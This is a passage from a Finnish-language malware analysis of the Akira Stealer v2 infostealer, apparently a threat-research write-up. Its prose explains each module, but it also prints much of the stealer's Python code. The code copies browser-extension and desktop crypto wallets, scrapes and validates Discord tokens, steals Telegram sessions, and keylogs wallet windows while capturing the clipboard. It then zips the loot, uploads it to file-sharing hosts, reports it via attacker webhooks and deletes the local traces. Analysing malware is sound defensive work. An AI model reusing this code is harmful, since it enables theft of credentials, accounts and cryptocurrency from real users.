\"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1718,7915,7916],{"class":1720,"line":2432},[1718,7917,7918],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1718,7920,7921],{"class":1720,"line":2438},[1718,7922,7923],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1718,7925,7926],{"class":1720,"line":3096},[1718,7927,7928],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1718,7930,7931],{"class":1720,"line":3892},[1718,7932,7933],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1718,7935,7936],{"class":1720,"line":3898},[1718,7937,7938],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1718,7940,7941],{"class":1720,"line":4144},[1718,7942,7943],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1718,7945,7946],{"class":1720,"line":5063},[1718,7947,7948],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1718,7950,7951],{"class":1720,"line":5069},[1718,7952,7953],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1718,7955,7956],{"class":1720,"line":5075},[1718,7957,7958],{},"    # ... plus dozens more mapped in code\n",[1718,7960,7961],{"class":1720,"line":5081},[1718,7962,7963],{},"]\n",[1718,7965,7966],{"class":1720,"line":5087},[1718,7967,7968],{},"# Extraction loop for each browser profile\n",[1718,7970,7971],{"class":1720,"line":5093},[1718,7972,7973],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1718,7975,7976],{"class":1720,"line":5099},[1718,7977,7978],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1718,7980,7981],{"class":1720,"line":5105},[1718,7982,7983],{},"    for ext_name, ext_id in walletsExtensions:\n",[1718,7985,7986],{"class":1720,"line":5111},[1718,7987,7988],{},"        src = os.path.join(base, ext_id)\n",[1718,7990,7991],{"class":1720,"line":5117},[1718,7992,7993],{},"        if os.path.isdir(src):\n",[1718,7995,7996],{"class":1720,"line":5123},[1718,7997,7998],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1718,8000,8001],{"class":1720,"line":5129},[1718,8002,8003],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1718,8005,8006],{"class":1720,"line":5135},[1718,8007,8008],{},"            data.ext_wallets_count += 1\n",[631,8010,8011,8017],{},[634,8012,8013,8016],{},[568,8014,8015],{},"Kopioidut tiedostot",": Laajennuskohtaiset IndexedDB-, LevelDB-, JSON- ja konfiguraatiotiedostot, jotka sisältävät salattuja avaimia, seed-lauseita ja kirjautumistietoja.",[634,8018,8019,1008,8022,647,8025,3930],{},[568,8020,8021],{},"Tuloskansio",[579,8023,8024],{},"Wallets/MetaMask_Chrome/",[579,8026,8027],{},"Wallets/Phantom_Edge/",[897,8029,8031],{"id":8030},"_782-työpöytälompakkosovellukset","7.8.2 Työpöytälompakkosovellukset",[526,8033,903],{},[526,8035,8036,8038],{},[568,8037,7887],{}," Suuret työpöytäasiakkaat, kuten Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi jne.",[616,8040,8042],{"className":4529,"code":8041,"language":4531,"meta":530,"style":530},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[579,8043,8044,8049,8054,8059,8064,8069,8074,8079,8083,8088,8093,8098,8103,8108],{"__ignoreMap":530},[1718,8045,8046],{"class":1720,"line":1721},[1718,8047,8048],{},"walletsDesktop = [\n",[1718,8050,8051],{"class":1720,"line":531},[1718,8052,8053],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1718,8055,8056],{"class":1720,"line":2102},[1718,8057,8058],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1718,8060,8061],{"class":1720,"line":2108},[1718,8062,8063],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1718,8065,8066],{"class":1720,"line":2432},[1718,8067,8068],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1718,8070,8071],{"class":1720,"line":2438},[1718,8072,8073],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1718,8075,8076],{"class":1720,"line":3096},[1718,8077,8078],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1718,8080,8081],{"class":1720,"line":3892},[1718,8082,7963],{},[1718,8084,8085],{"class":1720,"line":3898},[1718,8086,8087],{},"for name, path in walletsDesktop:\n",[1718,8089,8090],{"class":1720,"line":4144},[1718,8091,8092],{},"    if os.path.isdir(path):\n",[1718,8094,8095],{"class":1720,"line":5063},[1718,8096,8097],{},"        Utils.TaskKill(name.lower())\n",[1718,8099,8100],{"class":1720,"line":5069},[1718,8101,8102],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1718,8104,8105],{"class":1720,"line":5075},[1718,8106,8107],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1718,8109,8110],{"class":1720,"line":5081},[1718,8111,8112],{},"        data.desktop_wallets_count += 1\n",[631,8114,8115,8128],{},[634,8116,8117,8120,8121,647,8124,8127],{},[568,8118,8119],{},"Varastettu data",": Keystore-tiedostot (",[579,8122,8123],{},"*.dat",[579,8125,8126],{},"*.json","), yksityisten avainten viennit, lompakon konfiguraatio ja tapahtumahistoria.",[634,8129,8130,8133],{},[568,8131,8132],{},"Hyöty",": Offline-lompakon sisältö, jota hyökkääjä voi käyttää tapahtumien valtuuttamiseen.",[897,8135,8137],{"id":8136},"_783-discord-tokenien-haravointi","7.8.3 Discord-tokenien haravointi",[526,8139,903],{},[526,8141,8142],{},"Discord-tokenit ovat todennusartefakteja—käytännössä pitkäikäisiä bearer-tokeneja—jotka voivat antaa täyden pääsyn käyttäjän tiliin ilman hänen tunnistetietojaan tai MFA:ta. Akira käyttää tätä hyväkseen skannaamalla selain- ja sovellusdatakansioita eri Discord-asiakkaiden tallentamien tokenien varalta, mukaan lukien Discord Stable, Canary, PTB (Public Test Build) ja jopa muokatut forkit kuten Lightcord.",[526,8144,8145],{},"Tekniikka kohdistuu sovelluksen Local Storage -kansion alla oleviin LevelDB-tiedostoihin, joissa todennustokenit usein pysyvät selkokielisinä. Säännöllisiä lausekkeita käyttäen haittaohjelma skannaa nämä .log- ja .ldb-tiedostot kuvioiden varalta, jotka vastaavat joko tavallisia käyttäjätokeneja tai MFA-tokeneja.",[526,8147,8148],{},"Luotettavuuden parantamiseksi ja kohinan vähentämiseksi Akira sisältää validointivaiheen: se lähettää testipyynnön Discordin /users/@me-päätepisteeseen jokaisella haravoidulla tokenilla. Vain tokenit, jotka todentuvat onnistuneesti (HTTP 200), exfiltroidaan webhookin kautta—tyypillisesti hyökkääjän hallitsemaan Discord-kanavaan.",[526,8150,8151],{},"Tämä menetelmä antaa hyökkääjille mahdollisuuden kaapata Discord-tilejä reaaliajassa, esiintyä uhrina, kaapia yksityisviestejä ja palvelimia tai levittää lisähaittaohjelmia sosiaalisen manipuloinnin kautta—kaikki laukaisematta kirjautumishälytyksiä.",[616,8153,8155],{"className":4529,"code":8154,"language":4531,"meta":530,"style":530},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[579,8156,8157,8162,8167,8172,8177,8181,8186,8191,8196,8201,8206,8211,8216,8221,8226,8231,8236,8241,8246],{"__ignoreMap":530},[1718,8158,8159],{"class":1720,"line":1721},[1718,8160,8161],{},"import re, requests\n",[1718,8163,8164],{"class":1720,"line":531},[1718,8165,8166],{},"patterns = [\n",[1718,8168,8169],{"class":1720,"line":2102},[1718,8170,8171],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1718,8173,8174],{"class":1720,"line":2108},[1718,8175,8176],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1718,8178,8179],{"class":1720,"line":2432},[1718,8180,7963],{},[1718,8182,8183],{"class":1720,"line":2438},[1718,8184,8185],{},"def harvest_discord(base, webhook_url):\n",[1718,8187,8188],{"class":1720,"line":3096},[1718,8189,8190],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1718,8192,8193],{"class":1720,"line":3892},[1718,8194,8195],{},"    for file in os.listdir(db_dir):\n",[1718,8197,8198],{"class":1720,"line":3898},[1718,8199,8200],{},"        if file.endswith(('.log', '.ldb')):\n",[1718,8202,8203],{"class":1720,"line":4144},[1718,8204,8205],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1718,8207,8208],{"class":1720,"line":5063},[1718,8209,8210],{},"                for pat in patterns:\n",[1718,8212,8213],{"class":1720,"line":5069},[1718,8214,8215],{},"                    for token in re.findall(pat, line):\n",[1718,8217,8218],{"class":1720,"line":5075},[1718,8219,8220],{},"                        # Verify token\n",[1718,8222,8223],{"class":1720,"line":5081},[1718,8224,8225],{},"                        h = {\"Authorization\": token}\n",[1718,8227,8228],{"class":1720,"line":5087},[1718,8229,8230],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1718,8232,8233],{"class":1720,"line":5093},[1718,8234,8235],{},"                        if r.status_code == 200:\n",[1718,8237,8238],{"class":1720,"line":5099},[1718,8239,8240],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1718,8242,8243],{"class":1720,"line":5105},[1718,8244,8245],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1718,8247,8248],{"class":1720,"line":5111},[1718,8249,8250],{},"                            requests.post(webhook_url, json=payload)\n",[631,8252,8253],{},[634,8254,8255,8258],{},[568,8256,8257],{},"Validointi",": Julkaisee vain kelvolliset tokenit, mikä estää vanhentuneiden JWT:iden lähettämisen.",[897,8260,8262],{"id":8261},"_784-telegram-istuntotiedostot","7.8.4 Telegram-istuntotiedostot",[526,8264,903],{},[526,8266,8267,8269],{},[568,8268,7887],{}," Telegram Desktop/TData",[616,8271,8273],{"className":4529,"code":8272,"language":4531,"meta":530,"style":530},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[579,8274,8275,8280,8285,8290,8295,8300],{"__ignoreMap":530},[1718,8276,8277],{"class":1720,"line":1721},[1718,8278,8279],{},"def steal_telegram(tdata_path, dest_root):\n",[1718,8281,8282],{"class":1720,"line":531},[1718,8283,8284],{},"    if os.path.exists(tdata_path):\n",[1718,8286,8287],{"class":1720,"line":2102},[1718,8288,8289],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1718,8291,8292],{"class":1720,"line":2108},[1718,8293,8294],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1718,8296,8297],{"class":1720,"line":2432},[1718,8298,8299],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1718,8301,8302],{"class":1720,"line":2438},[1718,8303,8304],{},"        data.has_telegram = True\n",[631,8306,8307,8320],{},[634,8308,8309,1008,8312,8315,8316,8319],{},[568,8310,8311],{},"Tiedostot",[579,8313,8314],{},"tdata","-kansio, joka sisältää istuntoavaimet, ",[579,8317,8318],{},"D877F...","-kansio secret/unsecret-tiedostoineen.",[634,8321,8322,8325],{},[568,8323,8324],{},"Käyttö",": Lataa hyökkääjän Telegram-asiakkaaseen täyttä tilin käyttöä varten.",[897,8327,8329],{"id":8328},"_785-live-lompakkokeyloggaus","7.8.5 Live-lompakkokeyloggaus",[526,8331,903],{},[526,8333,8334],{},"Kryptovaluuttalompakot ovat ensisijaisia kohteita nykyaikaisille infostealereille. Akira sisältää live-keyloggerin, joka on räätälöity varastamaan lompakon tunnistetiedot, kuten seed-lauseet, yksityiset avaimet ja salasanat, syöttöhetkellä. Toisin kuin geneeriset keyloggerit, tämä aktivoituu vain, kun tunnettu lompakkoikkuna havaitaan, mikä vähentää dramaattisesti kohinaa ja lisää tehokkuutta.",[526,8336,8337],{},"Moduuli valvoo aktiivisten ikkunoiden otsikoita ja vertaa niitä kovakoodattuun listaan suosituista lompakkosovelluksista kuten MetaMask, Phantom, Atomic Wallet ja muut. Kun vastaava ikkuna on aktiivisena, se alkaa tallentaa näppäinpainalluksia järjestelmänlaajuisten näppäimistökoukkujen kautta. Kun käyttäjä painaa Enteriä, moduuli kaappaa välittömästi leikepöydän nykyisen sisällön—tietäen, että käyttäjät usein kopioivat salaisuuksia lompakon pystytyksen tai kirjautumisen aikana—ja lähettää sekä kirjoitetun syötteen että leikepöydän datan hyökkääjän webhookiin. Tämä lähestymistapa on erittäin tehokas, koska se yhdistää kaksi hyökkäysvektoria:",[631,8339,8340,8343],{},[634,8341,8342],{},"Kontekstitietoinen keyloggaus, joka kaappaa arkaluonteiset lompakkosyötteet vain silloin kun ne ovat merkityksellisiä.",[634,8344,8345],{},"Leikepöydän kaappaus, joka poimii kopioidut palautuslauseet tai kohdeosoitteet ennen kuin ne liitetään.",[526,8347,8348],{},"Yhdessä nämä menetelmät antavat hyökkääjille mahdollisuuden vaarantaa lompakot hiljaa reaaliajassa, myös ilman selainkäyttöä tai tiedostojen exfiltraatiota.",[616,8350,8352],{"className":4529,"code":8351,"language":4531,"meta":530,"style":530},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[579,8353,8354,8359,8363,8368,8373,8378,8383,8388,8392,8397,8402,8407,8412,8417,8422,8427,8432],{"__ignoreMap":530},[1718,8355,8356],{"class":1720,"line":1721},[1718,8357,8358],{},"import keyboard, pyperclip\n",[1718,8360,8361],{"class":1720,"line":531},[1718,8362,3889],{"emptyLinePlaceholder":325},[1718,8364,8365],{"class":1720,"line":2102},[1718,8366,8367],{},"class WalletKeylogger:\n",[1718,8369,8370],{"class":1720,"line":2108},[1718,8371,8372],{},"    def __init__(self, wallet_titles):\n",[1718,8374,8375],{"class":1720,"line":2432},[1718,8376,8377],{},"        self.buf = \"\"\n",[1718,8379,8380],{"class":1720,"line":2438},[1718,8381,8382],{},"        keyboard.on_release(self.capture)\n",[1718,8384,8385],{"class":1720,"line":3096},[1718,8386,8387],{},"        self.wallet_titles = wallet_titles\n",[1718,8389,8390],{"class":1720,"line":3892},[1718,8391,3889],{"emptyLinePlaceholder":325},[1718,8393,8394],{"class":1720,"line":3898},[1718,8395,8396],{},"    def capture(self, event):\n",[1718,8398,8399],{"class":1720,"line":4144},[1718,8400,8401],{},"        title = pygetwindow.getActiveWindow().title\n",[1718,8403,8404],{"class":1720,"line":5063},[1718,8405,8406],{},"        if any(w in title for w in self.wallet_titles):\n",[1718,8408,8409],{"class":1720,"line":5069},[1718,8410,8411],{},"            if event.name == 'enter':\n",[1718,8413,8414],{"class":1720,"line":5075},[1718,8415,8416],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1718,8418,8419],{"class":1720,"line":5081},[1718,8420,8421],{},"                send_to_webhook(data)\n",[1718,8423,8424],{"class":1720,"line":5087},[1718,8425,8426],{},"                self.buf = \"\"\n",[1718,8428,8429],{"class":1720,"line":5093},[1718,8430,8431],{},"            else:\n",[1718,8433,8434],{"class":1720,"line":5099},[1718,8435,8436],{},"                self.buf += event.name\n",[631,8438,8439,8445],{},[634,8440,8441,8444],{},[568,8442,8443],{},"Laukaisulista",": Ikkunaotsikot, mukaan lukien \"MetaMask\", \"Phantom\", \"Atomic Wallet\" jne.",[634,8446,8447,8450],{},[568,8448,8449],{},"Leikepöytä",": Kaappaa kopioidut seedit tai yksityiset avaimet.",[897,8452,8454],{"id":8453},"_786-paketointi-ja-exfiltraatio","7.8.6 Paketointi ja exfiltraatio",[526,8456,903],{},[526,8458,8459],{},"Kerättyään selaindatan, tunnistetiedot, lompakkotiedot ja tokenit Akira kokoaa ja exfiltroi saaliin erittäin automatisoidusti ja huomaamattomasti. Tämä vaihe on tartuntaketjun viimeinen askel, ja se on optimoitu luotettavuuden ja minimaalisen forensisen jalanjäljen kannalta. Ensin kaikki kerätty data—mukaan lukien selaindumpit, lokit ja keylogatut lompakkotiedot—pakataan ZIP-arkistoon. Tämä varmistaa, että koko aineisto voidaan siirtää yhtenä payloadina. Arkisto ladataan sitten useisiin julkisiin tiedostonjakopalveluihin, kuten GoFile, File.io tai Oshi.at, saatavuuden mukaan. Nämä alustat tarjoavat anonyymiä, väliaikaista hostingia, ja niitä käytetään usein yritysten palomuurien tai maineeseen perustuvan eston ohittamiseen. Jäsennelty raportti generoidaan samanaikaisesti ja lähetetään hyökkääjälle Discord- tai Telegram-webhookin kautta. Se sisältää yhteenvetotilastot—kuinka monta lompakkoa löytyi, kuinka monta tokenia oli kelvollisia, ja suoran linkin varastettuun dataan. Tämä antaa hyökkääjille nopean yleiskuvan kohteen arvosta arkistoa avaamatta.",[526,8461,8462],{},"Lopuksi haittaohjelma poistaa väliaikaisen kansion ja arkiston levyltä, mikä käytännössä poistaa paikalliset forensiset todisteet. Siihen mennessä kun puolustaja löytää tartunnan, data on jo poissa—ja usein palautumattomissa.",[616,8464,8466],{"className":4529,"code":8465,"language":4531,"meta":530,"style":530},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[579,8467,8468,8473,8478,8483,8488,8493,8498,8503,8508,8513,8518,8523,8528,8533,8538,8542,8547,8552],{"__ignoreMap":530},[1718,8469,8470],{"class":1720,"line":1721},[1718,8471,8472],{},"# 1) ZIP everything (including Wallets folder)\n",[1718,8474,8475],{"class":1720,"line":531},[1718,8476,8477],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1718,8479,8480],{"class":1720,"line":2102},[1718,8481,8482],{},"# 2) Attempt upload to primary & fallback services\n",[1718,8484,8485],{"class":1720,"line":2108},[1718,8486,8487],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1718,8489,8490],{"class":1720,"line":2432},[1718,8491,8492],{},"# 3) Report summary\n",[1718,8494,8495],{"class":1720,"line":2438},[1718,8496,8497],{},"embed = {\n",[1718,8499,8500],{"class":1720,"line":3096},[1718,8501,8502],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1718,8504,8505],{"class":1720,"line":3892},[1718,8506,8507],{},"    \"fields\": [\n",[1718,8509,8510],{"class":1720,"line":3898},[1718,8511,8512],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1718,8514,8515],{"class":1720,"line":4144},[1718,8516,8517],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1718,8519,8520],{"class":1720,"line":5063},[1718,8521,8522],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1718,8524,8525],{"class":1720,"line":5069},[1718,8526,8527],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1718,8529,8530],{"class":1720,"line":5075},[1718,8531,8532],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1718,8534,8535],{"class":1720,"line":5081},[1718,8536,8537],{},"    ]\n",[1718,8539,8540],{"class":1720,"line":5087},[1718,8541,2441],{},[1718,8543,8544],{"class":1720,"line":5093},[1718,8545,8546],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1718,8548,8549],{"class":1720,"line":5099},[1718,8550,8551],{},"# 4) Cleanup local folder & ZIP\n",[1718,8553,8554],{"class":1720,"line":5105},[1718,8555,7738],{},[748,8557,8559,8560,1149],{"id":8558},"_79-discord-ja-telegram-tokenvarkaus-luokka-discord","7.9. Discord- ja Telegram-tokenvarkaus (luokka: ",[579,8561,8562],{},"Discord",[526,8564,754],{},[526,8566,8567,8568,8570],{},"Akira Stealer v2:n ",[568,8569,8562],{},"-luokka suorittaa erittäin rinnakkaistetun, monivaiheisen prosessin, joka haravoi sekä Discord-valtuutustokenit että Telegram-istuntodatan. Alla pilkomme jokaisen komponentin osiin täsmällisin koodiviittauksin ja havainnollistavin esimerkein.",[897,8572,8574],{"id":8573},"_791-alustus-ja-polkujen-luettelointi","7.9.1 Alustus ja polkujen luettelointi",[526,8576,903],{},[526,8578,8579],{},"Instantioitaessa konstruktori rakentaa kaksi kohdepolkujen joukkoa:",[616,8581,8583],{"className":4529,"code":8582,"language":4531,"meta":530,"style":530},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[579,8584,8585,8590,8595,8600,8605,8609,8613,8617,8622,8627,8632,8637,8641],{"__ignoreMap":530},[1718,8586,8587],{"class":1720,"line":1721},[1718,8588,8589],{},"# Discord client LevelDB directories\n",[1718,8591,8592],{"class":1720,"line":531},[1718,8593,8594],{},"discord_paths = [\n",[1718,8596,8597],{"class":1720,"line":2102},[1718,8598,8599],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1718,8601,8602],{"class":1720,"line":2108},[1718,8603,8604],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1718,8606,8607],{"class":1720,"line":2432},[1718,8608,3879],{},[1718,8610,8611],{"class":1720,"line":2438},[1718,8612,7963],{},[1718,8614,8615],{"class":1720,"line":3096},[1718,8616,3889],{"emptyLinePlaceholder":325},[1718,8618,8619],{"class":1720,"line":3892},[1718,8620,8621],{},"# Chromium-based browser LevelDB directories\n",[1718,8623,8624],{"class":1720,"line":3898},[1718,8625,8626],{},"browserPaths = [\n",[1718,8628,8629],{"class":1720,"line":4144},[1718,8630,8631],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1718,8633,8634],{"class":1720,"line":5063},[1718,8635,8636],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1718,8638,8639],{"class":1720,"line":5069},[1718,8640,3879],{},[1718,8642,8643],{"class":1720,"line":5075},[1718,8644,7963],{},[631,8646,8647,8657],{},[634,8648,8649,8652,8653,8656],{},[568,8650,8651],{},"Discord-polut"," kohdistuvat virallisiin ja epävirallisiin Discord-asiakkaisiin ",[579,8654,8655],{},"%APPDATA%",":n alla.",[634,8658,8659,8662],{},[568,8660,8661],{},"Selainpolut"," kattavat suosittujen selaimien käyttäjädatakansiot, mukaan lukien local storagen ja laajennusten alikansiot.",[526,8664,8665],{},"Jokaiselle merkinnälle käynnistetään säikeet:",[616,8667,8669],{"className":4529,"code":8668,"language":4531,"meta":530,"style":530},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[579,8670,8671,8676,8681,8686,8691,8696],{"__ignoreMap":530},[1718,8672,8673],{"class":1720,"line":1721},[1718,8674,8675],{},"for patt in browserPaths:\n",[1718,8677,8678],{"class":1720,"line":531},[1718,8679,8680],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1718,8682,8683],{"class":1720,"line":2102},[1718,8684,8685],{},"    t.start()\n",[1718,8687,8688],{"class":1720,"line":2108},[1718,8689,8690],{},"for patt in discord_paths:\n",[1718,8692,8693],{"class":1720,"line":2432},[1718,8694,8695],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1718,8697,8698],{"class":1720,"line":2438},[1718,8699,8685],{},[526,8701,8702],{},"Tämä säikeistysmalli maksimoi I/O-läpisyötön luotaamalla kymmeniä hakemistoja samanaikaisesti.",[897,8704,8706],{"id":8705},"_792-tokenien-poimintalogiikka","7.9.2 Tokenien poimintalogiikka",[526,8708,903],{},[526,8710,8711],{},[568,8712,8713],{},"Selkokielisten tokenien kaapiminen selaimista",[526,8715,8716,8719,8720,7652,8723,8726],{},[579,8717,8718],{},"get_btoken(path, arg)"," siirtyy jokaiseen LevelDB-kansioon ja tarkastaa ",[579,8721,8722],{},".log",[579,8724,8725],{},".ldb","-tiedostot:",[616,8728,8730],{"className":4529,"code":8729,"language":4531,"meta":530,"style":530},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[579,8731,8732,8737,8742,8747,8752,8757,8762,8767],{"__ignoreMap":530},[1718,8733,8734],{"class":1720,"line":1721},[1718,8735,8736],{},"for file in os.listdir(path + arg):\n",[1718,8738,8739],{"class":1720,"line":531},[1718,8740,8741],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1718,8743,8744],{"class":1720,"line":2102},[1718,8745,8746],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1718,8748,8749],{"class":1720,"line":2108},[1718,8750,8751],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1718,8753,8754],{"class":1720,"line":2432},[1718,8755,8756],{},"                tokens = re.findall(regex, line)\n",[1718,8758,8759],{"class":1720,"line":2438},[1718,8760,8761],{},"                for token in tokens:\n",[1718,8763,8764],{"class":1720,"line":3096},[1718,8765,8766],{},"                    self.tokens.append(token)\n",[1718,8768,8769],{"class":1720,"line":3892},[1718,8770,8771],{},"                    self.cehckToken(token)\n",[631,8773,8774,8783,8791],{},[634,8775,8776,8782],{},[568,8777,8778,8779],{},"Regex 